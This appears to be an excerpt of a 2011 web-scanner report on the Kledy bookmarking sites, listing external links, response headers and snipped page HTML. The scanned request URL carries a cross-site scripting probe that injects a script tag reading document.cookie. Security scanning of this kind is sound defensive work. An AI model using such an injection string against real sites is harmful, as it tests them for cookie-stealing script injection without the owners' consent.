...[SNIP]...
</a> 1 Tag 8 Stunden zuvor

                                     <img src="http://www.google.com/s2/favicons?domain=www.mittelstandsblog.de" ALIGN=ABSMIDDLE>

  <a href="http://www.mittelstandsblog.de/2011/02/gfk-prognose-deutsche-2011-noch-konsumfreudiger/" target="_blank" title="http://www.mittelstandsblog.de">
...[SNIP]...
<div class="storycontent">
                       <img src="http://open.thumbshots.org/image.aspx?url=http://www.mittelstandsblog.de/2011/02/gfk-prognose-deutsche-2011-noch-konsumfreudiger/" border="0" =http://www.mittelstandsblog.de/2011/02/gfk-prognose-deutsche-2011-noch-konsumfreudiger/" style="float:left;margin-right:5px"/>
                       <span class="news-body-text">
...[SNIP]...

<a class="addthis_button" href="http://www.addthis.com/bookmark.php" title="AddThis"><img src="http://s7.addthis.com/static/btn/sm-plus.gif" width="16" style="margin-left:5px;" height="16" border="0" align="top" alt="Share"></a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=Kledy"></script>
...[SNIP]...
</a> 1 Tag 8 Stunden zuvor

                                     <img src="http://www.google.com/s2/favicons?domain=www.breitband-anbieter.com" ALIGN=ABSMIDDLE>

  <a href="http://www.breitband-anbieter.com/news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659000/" target="_blank" title="http://www.breitband-anbieter.com">http://www.breitband-anbieter.com</a>
...[SNIP]...
<div class="storycontent">
                       <img src="http://open.thumbshots.org/image.aspx?url=http://www.breitband-anbieter.com/news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659000/" border="0" =http://www.breitband-anbieter.com/news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659000/" style="float:left;margin-right:5px"/>
                       <span class="news-body-text">
...[SNIP]...

<a class="addthis_button" href="http://www.addthis.com/bookmark.php" title="AddThis"><img src="http://s7.addthis.com/static/btn/sm-plus.gif" width="16" style="margin-left:5px;" height="16" border="0" align="top" alt="Share"></a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=Kledy"></script>
...[SNIP]...
</script>
<a class="PliggButton PliggLarge" href="http://www.breitband-anbieter.com/news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659000/" title="iPhone 5, iPad 2 und die LTE-Tarife der Deutschen Telekom" rev="Handy" rel=""><span style="display:none">
...[SNIP]...
</script>
<a class="PliggButton PliggSmall" href="http://www.breitband-anbieter.com/news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659000/" title="iPhone 5, iPad 2 und die LTE-Tarife der Deutschen Telekom" rev="Handy" rel=""><span style="display:none">
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<img src="/iconpics/webcamchat.png" align=top alt="Webcam Chat ohne Anmeldung"> <a href='http://chattino.com/' rel="nofollow" title="Webcam Chat">Webcam Chat</a>
...[SNIP]...
<center>
<script type="text/javascript" src="http://videos.video-loader.com/sp/81211909126097148926263.js"></script>
...[SNIP]...
<img src="avatars/Gravatar_15.gif" border="0" style="margin-top:5px;vertical-align:text-bottom;"> <a href="http://fussballmania.com/" target="_blank" title="Fussball Forum">Fussball Forum</a>
...[SNIP]...
<img src="avatars/Gravatar_15.gif" border="0" style="margin-top:5px;vertical-align:text-bottom;"> <a href="http://shop.kledy.de" target="_blank" title="Online-Preisvergleich">Online-Preisvergleich</a>
...[SNIP]...
<img src="avatars/Gravatar_15.gif" border="0" style="margin-top:5px;vertical-align:text-bottom;"> <a href="http://www.tarifcheck24.com" target="_blank" title="Private Krankenversicherung">Private Krankenversicherung</a>
...[SNIP]...
<img src="avatars/Gravatar_15.gif" border="0" style="margin-top:5px;vertical-align:text-bottom;"> <a href="http://www.tel-inform.com" target="_blank" title="Telefonservice">Telefonservice</a>
...[SNIP]...
<img src="avatars/Gravatar_15.gif" border="0" style="margin-top:5px;vertical-align:text-bottom;"> <a href="http://www.klivio.com/" target="_blank" title="Aktuelle Nachrichten">Aktuelle Nachrichten</a>
...[SNIP]...
<img src="avatars/Gravatar_15.gif" border="0" style="margin-top:5px;vertical-align:text-bottom;"> <a href="http://www.spiele365.com/" target="_blank" title="Online Spielen">Online Spielen</a>
...[SNIP]...
</div>
<iframe src="http://www.facebook.com/plugins/likebox.php?id=344540630304&width=240&connections=10&stream=false&header=false&height=255" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:240px; height:255px;" allowTransparency="true"></iframe>
...[SNIP]...
</a>  • 
    <a href="http://www.widgetbox.com/widget/bookmarks-kledyde" title="Social Bookmark Widget" rel="nofollow" >Widget</a>
...[SNIP]...
</a>  • 
<a href="http://feedburner.google.com/fb/a/mailverify?uri=news-24&loc=de_DE">Newsletter</a>  • 
<a href="http://www.addtoany.com/subscribe?linkurl=http%3A%2F%2Fwww.kledy.de%2Frss_dts.php&linkname=Aktuelle%20Nachrichten">News abonnieren</a> • 
<a href="http://www.thumbshots.com" target="_blank" title="Thumbnails Screenshots by Thumbshots">Thumbnail Screenshots by Thumbshots</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
   <script src="http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js" type="text/javascript"></script>
...[SNIP]...

20.201. http://www.kledy.es/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.es
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://www.kledy.es/?bc891%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d09625540c=1

The response contains the following links to other domains:

http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js
http://darkorbit.es/
http://del.icio.us/post
http://digg.com/submit?phase=2&url=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games&bodytext=El juego de navegador gratuito DarkOrbit te asegura horas y horas de diversi..n. Reg..strate ahora y haz frente a tus adversarios.<br />
http://digg.com/submit?phase=2&url=http%3A%2F%2Fes.bigpoint.com%2F&title=juegos online&bodytext=Juegos Online - Juegos de navegador gratis en Bigpoint.com Tus juegos en comunidad para juegos Online y juegos en Web. Juegos para jugar gratis con otros.<br />
http://digg.com/submit?phase=2&url=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos&bodytext=Gracias al software gratuito de servicios en l..nea como FotoInsight y Printing-1, todo el mundo puede crear f..cilmente un libro con las fotos de la boda, impreso y encuadernado como copia ..nica o en cualquier n..mero de copias. En cu..nto tiempo se puede dise..ar un libro de boda y que un libro de fotos de boda con elegante tapa de cuero est.. disponible por menos de 40 Euros, se muestra en el siguie
http://digg.com/submit?phase=2&url=http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO&title=Guarda-Roupas - Magazine Luiza&bodytext=Modelos e pre..os de guarda-roupas de v..rias medidas.
http://digg.com/submit?phase=2&url=http%3A%2F%2Fwww.mexicoperiodicos.com%2F&title=Prensa escrita de M..xico&bodytext=Periodicos diarios de Mexico y sus principales ciudades
http://digg.com/submit?phase=2&url=http%3A%2F%2Fwww.peweb.com.ar&title=PE carteras de cuero - marroquiner..a Argentina&bodytext=Conoc.. nuestros bolsitos deluxe de formas sint..ticas, pregnantes, colores vivos y texturas marcadas. Formas, colores y texturas combinados entre s.. de una manera contrastante, llamativa que hace de cada pieza un objeto de uso y tambi..n de arte, una pieza vistosa y funcional.
http://digg.com/submit?phase=2&url=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm&title=Peri..dicos de Espa..a en Prensa Mundo.com&bodytext=Periodicos de espana, todos los periodicos diarios de espana y la prensa escrita espanola
http://digg.com/submit?phase=2&url=http%3A%2F%2Fwww.seafight.es%2F&title=onlinegames&bodytext=Toma el tim..n de tu barco como intr..pido pirata y convi..rtete en el terror de los siete mares. Sum..rgete en el mundo de los piratas, juega ahora gratis.<br />
http://es.bigpoint.com/
http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games
http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fes.bigpoint.com%2F&title=juegos online
http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos
http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO&title=Guarda-Roupas - Magazine Luiza
http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.mexicoperiodicos.com%2F&title=Prensa escrita de M..xico
http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.peweb.com.ar&title=PE carteras de cuero - marroquiner..a Argentina
http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm&title=Peri..dicos de Espa..a en Prensa Mundo.com
http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.seafight.es%2F&title=onlinegames
http://open.thumbshots.org/image.aspx?url=http://darkorbit.es/
http://open.thumbshots.org/image.aspx?url=http://es.bigpoint.com/
http://open.thumbshots.org/image.aspx?url=http://www.comunicado-prensa.com/comunicado-de-prensa/cinco%C2%A0minutos%C2%A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos/
http://open.thumbshots.org/image.aspx?url=http://www.magazineluiza.com.br/linha_setores/linha_setor.asp?linha=MO&Setor=GURO
http://open.thumbshots.org/image.aspx?url=http://www.mexicoperiodicos.com/
http://open.thumbshots.org/image.aspx?url=http://www.peweb.com.ar
http://open.thumbshots.org/image.aspx?url=http://www.prensamundo.com/p-periodicos-de-espana.htm
http://open.thumbshots.org/image.aspx?url=http://www.seafight.es/
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://reddit.com/submit?url=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games
http://reddit.com/submit?url=http%3A%2F%2Fes.bigpoint.com%2F&title=juegos online
http://reddit.com/submit?url=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos
http://reddit.com/submit?url=http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO&title=Guarda-Roupas - Magazine Luiza
http://reddit.com/submit?url=http%3A%2F%2Fwww.mexicoperiodicos.com%2F&title=Prensa escrita de M..xico
http://reddit.com/submit?url=http%3A%2F%2Fwww.peweb.com.ar&title=PE carteras de cuero - marroquiner..a Argentina
http://reddit.com/submit?url=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm&title=Peri..dicos de Espa..a en Prensa Mundo.com
http://reddit.com/submit?url=http%3A%2F%2Fwww.seafight.es%2F&title=onlinegames
http://shop.kledy.de/
http://slashdot.org/bookmark.pl?url=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games
http://slashdot.org/bookmark.pl?url=http%3A%2F%2Fes.bigpoint.com%2F&title=juegos online
http://slashdot.org/bookmark.pl?url=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos
http://slashdot.org/bookmark.pl?url=http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO&title=Guarda-Roupas - Magazine Luiza
http://slashdot.org/bookmark.pl?url=http%3A%2F%2Fwww.mexicoperiodicos.com%2F&title=Prensa escrita de M..xico
http://slashdot.org/bookmark.pl?url=http%3A%2F%2Fwww.peweb.com.ar&title=PE carteras de cuero - marroquiner..a Argentina
http://slashdot.org/bookmark.pl?url=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm&title=Peri..dicos de Espa..a en Prensa Mundo.com
http://slashdot.org/bookmark.pl?url=http%3A%2F%2Fwww.seafight.es%2F&title=onlinegames
http://tracker.icerocket.com/services/collector.js
http://twitter.com/home/?status=Reading+http://darkorbit.es/+thanks+K...l...e...d...y.......e...s+@+http://www.kledy.es
http://twitter.com/home/?status=Reading+http://es.bigpoint.com/+thanks+K...l...e...d...y.......e...s+@+http://www.kledy.es
http://twitter.com/home/?status=Reading+http://www.comunicado-prensa.com/comunicado-de-prensa/cinco%C2%A0minutos%C2%A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos/+thanks+K...l...e...d...y.......e...s+@+http://www.kledy.es
http://twitter.com/home/?status=Reading+http://www.magazineluiza.com.br/linha_setores/linha_setor.asp?linha=MO&Setor=GURO+thanks+K...l...e...d...y.......e...s+@+http://www.kledy.es
http://twitter.com/home/?status=Reading+http://www.mexicoperiodicos.com/+thanks+K...l...e...d...y.......e...s+@+http://www.kledy.es
http://twitter.com/home/?status=Reading+http://www.peweb.com.ar+thanks+K...l...e...d...y.......e...s+@+http://www.kledy.es
http://twitter.com/home/?status=Reading+http://www.prensamundo.com/p-periodicos-de-espana.htm+thanks+K...l...e...d...y.......e...s+@+http://www.kledy.es
http://twitter.com/home/?status=Reading+http://www.seafight.es/+thanks+K...l...e...d...y.......e...s+@+http://www.kledy.es
http://videos.video-loader.com/sp/10711909126097144647865.js
http://www.comunicado-prensa.com/comunicado-de-prensa/cinco..minutos..para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos/
http://www.facebook.com/sharer.php?u=http%3A%2F%2Fdarkorbit.es%2F&t=online browser games
http://www.facebook.com/sharer.php?u=http%3A%2F%2Fes.bigpoint.com%2F&t=juegos online
http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&t=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos
http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO&t=Guarda-Roupas - Magazine Luiza
http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.mexicoperiodicos.com%2F&t=Prensa escrita de M..xico
http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.peweb.com.ar&t=PE carteras de cuero - marroquiner..a Argentina
http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm&t=Peri..dicos de Espa..a en Prensa Mundo.com
http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.seafight.es%2F&t=onlinegames
http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games
http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fes.bigpoint.com%2F&title=juegos online
http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos
http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO&title=Guarda-Roupas - Magazine Luiza
http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fwww.mexicoperiodicos.com%2F&title=Prensa escrita de M..xico
http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fwww.peweb.com.ar&title=PE carteras de cuero - marroquiner..a Argentina
http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm&title=Peri..dicos de Espa..a en Prensa Mundo.com
http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fwww.seafight.es%2F&title=onlinegames
http://www.kledy.co.uk/
http://www.magazineluiza.com.br/linha_setores/linha_setor.asp?linha=MO&Setor=GURO
http://www.mexicoperiodicos.com/
http://www.peweb.com.ar/
http://www.prensamundo.com/p-periodicos-de-espana.htm
http://www.squidoo.com/lensmaster/bookmark?http%3A%2F%2Fdarkorbit.es%2F
http://www.squidoo.com/lensmaster/bookmark?http%3A%2F%2Fes.bigpoint.com%2F
http://www.squidoo.com/lensmaster/bookmark?http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F
http://www.squidoo.com/lensmaster/bookmark?http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO
http://www.squidoo.com/lensmaster/bookmark?http%3A%2F%2Fwww.mexicoperiodicos.com%2F
http://www.squidoo.com/lensmaster/bookmark?http%3A%2F%2Fwww.peweb.com.ar
http://www.squidoo.com/lensmaster/bookmark?http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm
http://www.squidoo.com/lensmaster/bookmark?http%3A%2F%2Fwww.seafight.es%2F
http://www.stumbleupon.com/submit?url=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games
http://www.stumbleupon.com/submit?url=http%3A%2F%2Fes.bigpoint.com%2F&title=juegos online
http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos
http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO&title=Guarda-Roupas - Magazine Luiza
http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.mexicoperiodicos.com%2F&title=Prensa escrita de M..xico
http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.peweb.com.ar&title=PE carteras de cuero - marroquiner..a Argentina
http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm&title=Peri..dicos de Espa..a en Prensa Mundo.com
http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.seafight.es%2F&title=onlinegames
http://www.technorati.com/faves?add=http%3A%2F%2Fdarkorbit.es%2F
http://www.technorati.com/faves?add=http%3A%2F%2Fes.bigpoint.com%2F
http://www.technorati.com/faves?add=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F
http://www.technorati.com/faves?add=http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO
http://www.technorati.com/faves?add=http%3A%2F%2Fwww.mexicoperiodicos.com%2F
http://www.technorati.com/faves?add=http%3A%2F%2Fwww.peweb.com.ar
http://www.technorati.com/faves?add=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm
http://www.technorati.com/faves?add=http%3A%2F%2Fwww.seafight.es%2F
http://www.thumbshots.com/
https://favorites.live.com/quickadd.aspx?url=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games
https://favorites.live.com/quickadd.aspx?url=http%3A%2F%2Fes.bigpoint.com%2F&title=juegos online
https://favorites.live.com/quickadd.aspx?url=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos
https://favorites.live.com/quickadd.aspx?url=http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO&title=Guarda-Roupas - Magazine Luiza
https://favorites.live.com/quickadd.aspx?url=http%3A%2F%2Fwww.mexicoperiodicos.com%2F&title=Prensa escrita de M..xico
https://favorites.live.com/quickadd.aspx?url=http%3A%2F%2Fwww.peweb.com.ar&title=PE carteras de cuero - marroquiner..a Argentina
https://favorites.live.com/quickadd.aspx?url=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm&title=Peri..dicos de Espa..a en Prensa Mundo.com
https://favorites.live.com/quickadd.aspx?url=http%3A%2F%2Fwww.seafight.es%2F&title=onlinegames

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:12:05 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 123969

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...
</a> <a href="http://www.kledy.co.uk"><img src="/images/uk.png" style="border:0" align="top">
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</a> 65 d..as hace

                                   (<a href="http://www.prensamundo.com/p-periodicos-de-espana.htm" target="_blank" >http://www.prensamundo.com</a>
...[SNIP]...
<div class="storycontent">
                       <img src="http://open.thumbshots.org/image.aspx?url=http://www.prensamundo.com/p-periodicos-de-espana.htm" border="0" =http://www.prensamundo.com/p-periodicos-de-espana.htm" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<div style="position:absolute;display:block;background:#fff;padding:10px;margin:10px 0 0 100px;font-size:12px;border:2px solid #000;">

  <a title="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to del.icio.us" href="http://del.icio.us/post" onclick="window.open('http://del.icio.us/post?v=4&noui&jump=close&url=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm&title=Peri%C3%B3dicos+de+Espa%C3%B1a+en+Prensa+Mundo.com', '','toolbar=no,width=700,height=400'); return false;"><img src="http://www.kledy.es/modules/social_bookmark/images/delicious.png" border="0" alt="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to del.icio.us" /></a>

  <a title="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to digg" href="http://digg.com/submit?phase=2&url=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm&title=Peri..dicos de Espa..a en Prensa Mundo.com&bodytext=Periodicos de espana, todos los periodicos diarios de espana y la prensa escrita espanola"><img src="http://www.kledy.es/modules/social_bookmark/images/digg.png" border="0" alt="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to digg" /></a>

  <a title="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to reddit" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm&title=Peri..dicos de Espa..a en Prensa Mundo.com"><img src="http://www.kledy.es/modules/social_bookmark/images/reddit.gif" border="0" alt="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to reddit" /></a>

  <a title="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to facebook" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm&t=Peri..dicos de Espa..a en Prensa Mundo.com"><img src="http://www.kledy.es/modules/social_bookmark/images/facebook.gif" border="0" alt="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to facebook" /></a>

  <a title="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to technorati" href="http://www.technorati.com/faves?add=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm"><img src="http://www.kledy.es/modules/social_bookmark/images/technorati.gif" border="0" alt="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to technorati" /></a>

  <a title="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to slashdot" href="http://slashdot.org/bookmark.pl?url=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm&title=Peri..dicos de Espa..a en Prensa Mundo.com"><img src="http://www.kledy.es/modules/social_bookmark/images/slashdot.gif" border="0" alt="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to slashdot" /></a>

  <a title="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to Stumbleupon" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm&title=Peri..dicos de Espa..a en Prensa Mundo.com"><img src="http://www.kledy.es/modules/social_bookmark/images/icon-stumbleupon.gif" border="0" alt="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to Stumbleupon" /></a>

  <a title="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to Windows Live" href="https://favorites.live.com/quickadd.aspx?url=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm&title=Peri..dicos de Espa..a en Prensa Mundo.com"><img src="http://www.kledy.es/modules/social_bookmark/images/windowslive.gif" border="0" alt="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to Windows Live" /></a>

  <a title="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to squidoo" href="http://www.squidoo.com/lensmaster/bookmark?http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm"><img src="http://www.kledy.es/modules/social_bookmark/images/squidoo.gif" border="0" alt="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to squidoo" /></a>

  <a title="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to yahoo" href="http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm&title=Peri..dicos de Espa..a en Prensa Mundo.com"><img src="http://www.kledy.es/modules/social_bookmark/images/yahoomyweb.png" border="0" alt="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to yahoo" /></a>

  <a title="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to google" href="http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm&title=Peri..dicos de Espa..a en Prensa Mundo.com"><img src="http://www.kledy.es/modules/social_bookmark/images/googlebookmarks.gif" border="0" alt="submit 'Peri..dicos de Espa..a en Prensa Mundo.com' to google" />
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.prensamundo.com/p-periodicos-de-espana.htm+thanks+K...l...e...d...y.......e...s+@+http://www.kledy.es" target="_blank">Tweet This</a>
...[SNIP]...
</a> 69 d..as hace

                                   (<a href="http://www.peweb.com.ar" target="_blank" >http://www.peweb.com.ar</a>
...[SNIP]...
<div class="storycontent">
                       <img src="http://open.thumbshots.org/image.aspx?url=http://www.peweb.com.ar" border="0" =http://www.peweb.com.ar" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<div style="position:absolute;display:block;background:#fff;padding:10px;margin:10px 0 0 100px;font-size:12px;border:2px solid #000;">

  <a title="submit 'PE carteras de cuero - marroquiner..a Argentina' to del.icio.us" href="http://del.icio.us/post" onclick="window.open('http://del.icio.us/post?v=4&noui&jump=close&url=http%3A%2F%2Fwww.peweb.com.ar&title=PE+carteras+de+cuero+-+marroquiner%C3%ADa+Argentina', '','toolbar=no,width=700,height=400'); return false;"><img src="http://www.kledy.es/modules/social_bookmark/images/delicious.png" border="0" alt="submit 'PE carteras de cuero - marroquiner..a Argentina' to del.icio.us" /></a>

  <a title="submit 'PE carteras de cuero - marroquiner..a Argentina' to digg" href="http://digg.com/submit?phase=2&url=http%3A%2F%2Fwww.peweb.com.ar&title=PE carteras de cuero - marroquiner..a Argentina&bodytext=Conoc.. nuestros bolsitos deluxe de formas sint..ticas, pregnantes, colores vivos y texturas marcadas. Formas, colores y texturas combinados entre s.. de una manera contrastante, llamativa que hace de cada pieza un objeto de uso y tambi..n de arte, una pieza vistosa y funcional."><img src="http://www.kledy.es/modules/social_bookmark/images/digg.png" border="0" alt="submit 'PE carteras de cuero - marroquiner..a Argentina' to digg" /></a>

  <a title="submit 'PE carteras de cuero - marroquiner..a Argentina' to reddit" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.peweb.com.ar&title=PE carteras de cuero - marroquiner..a Argentina"><img src="http://www.kledy.es/modules/social_bookmark/images/reddit.gif" border="0" alt="submit 'PE carteras de cuero - marroquiner..a Argentina' to reddit" /></a>

